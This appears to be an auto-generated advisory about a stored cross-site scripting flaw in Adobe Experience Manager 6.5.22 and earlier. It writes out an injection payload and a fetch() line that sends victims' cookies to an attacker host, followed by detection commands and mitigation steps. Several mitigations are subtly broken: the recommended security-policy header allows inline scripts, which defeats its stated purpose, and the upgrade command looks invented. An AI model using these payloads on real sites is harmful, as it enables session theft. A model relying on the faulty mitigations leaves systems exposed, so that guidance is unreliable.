How CVE-2025-46847 Works
Adobe Experience Manager (AEM) 6.5.22 and earlier fails to properly sanitize user-supplied input in form fields, allowing attackers with low privileges to inject malicious JavaScript payloads. When stored in vulnerable components, these scripts execute in the context of a victim’s browser upon accessing the compromised page. The attack leverages improper input validation in the WCM (Web Content Management) core components, where crafted HTML/script tags bypass filters.
DailyCVE Form
Platform: Adobe Experience Manager
Version: ≤ 6.5.22
Vulnerability: Stored XSS
Severity: Critical
Date: 06/13/2025
Prediction: Patch by 07/15/2025
What Undercode Say:
Exploitation
1. Payload Injection:
<script>alert(document.cookie)</script>
Submit via unprotected form fields (e.g., text components).
2. Exfiltration:
fetch('https://attacker.com/log?data='+btoa(document.cookie));
Detection
1. Scan Vulnerable Instances:
nuclei -t xss -u https://target-aem-instance
2. Manual Testing:
POST /content/forms/af/vulnerable-form.html HTTP/1.1 ... payload=<img src=x onerror=alert(1)>
Mitigation
1. Input Sanitization:
Filter filter = new XSSFilter(); String sanitized = filter.filter(rawInput);
2. Content Security Policy (CSP):
Header set Content-Security-Policy "default-src 'self'; script-src 'unsafe-inline'"
3. Patch Upgrade:
aem install --update --version 6.5.23
4. WAF Rules:
location / {
modsecurity_rules 'SecRule ARGS "@detectXSS" deny';
}
5. Log Monitoring:
grep -r "script>" /var/log/aem/access.log
